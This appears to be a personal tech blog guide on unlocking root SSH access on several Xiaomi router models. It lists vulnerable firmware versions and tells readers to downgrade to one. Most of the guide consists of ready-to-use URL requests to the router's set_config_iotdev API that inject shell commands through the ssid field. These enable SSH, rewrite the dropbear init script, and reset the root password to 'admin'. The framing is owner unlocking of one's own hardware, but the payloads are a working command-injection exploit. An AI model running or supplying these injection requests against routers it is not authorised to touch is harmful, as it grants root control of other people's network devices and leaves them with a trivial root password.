🌐 VI | EN

How to Unlock SSH on Xiaomi Routers with Vulnerable Stock Firmware

Nghia Phan
Nghia Phan
🌐 Bản tiếng Việt Technical Guide Views

0. Firmware versions affected by the vulnerability

{{< ads >}}

|||| |-|-| |Model|Version| |AX3600|1.0.17| |AX1800|1.0.34/1.0.328/1.0.336| |AX5|1.0.16/1.0.26| |AC2100|2.0.722|

1. Downgrade the firmware

  • To enable OpenSSH, first downgrade the firmware to one of the vulnerable versions listed in section 0.
    • Log in to the router’s management page and downgrade to a vulnerable version. {{<collapse “Screenshot”>}} MiWiFi downgrade 0 MiWiFi downgrade 1 {{}}
    • The router will reboot automatically after the downgrade.

2. Enable OpenSSH

  • After the router reboots, log in to its management page again. The URL should look similar to this: {{< urlbox >}} http://192.168.31.1/cgi-bin/luci/;stok=d2d55f6e595e236044bfff0b444e2c51/web/home#router {{< /urlbox >}}
  • Replace the token in the URL with the copied token, using a request similar to this: {{< urlbox >}} http://192.168.31.1/cgi-bin/luci/;stok=d2d55f6e595e236044bfff0b444e2c51/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit%3B {{< /urlbox >}}
  • Press Enter. If the screen shows {"code":0}, continue with the next request. {{< urlbox >}} http://192.168.31.1/cgi-bin/luci/;stok=d2d55f6e595e236044bfff0b444e2c51/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20’s%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg’%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B {{< /urlbox >}}

Log in to SSH with the username root.

  • Obtain the root password from the serial number: {{}}

  • Or use this request to change the root password to admin (root/admin): {{< urlbox >}} http://192.168.31.1/cgi-bin/luci/;stok=d2d55f6e595e236044bfff0b444e2c51/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20’admin%5Cnadmin’%20%7C%20passwd%20root%3B {{< /urlbox >}}



Reference: https://www.right.com.cn/ If you have questions, leave a comment. Good luck!

Comments & Discussion

Share your thoughts, ask questions and feedback

Markdown & QQ Emoji
Loading comments...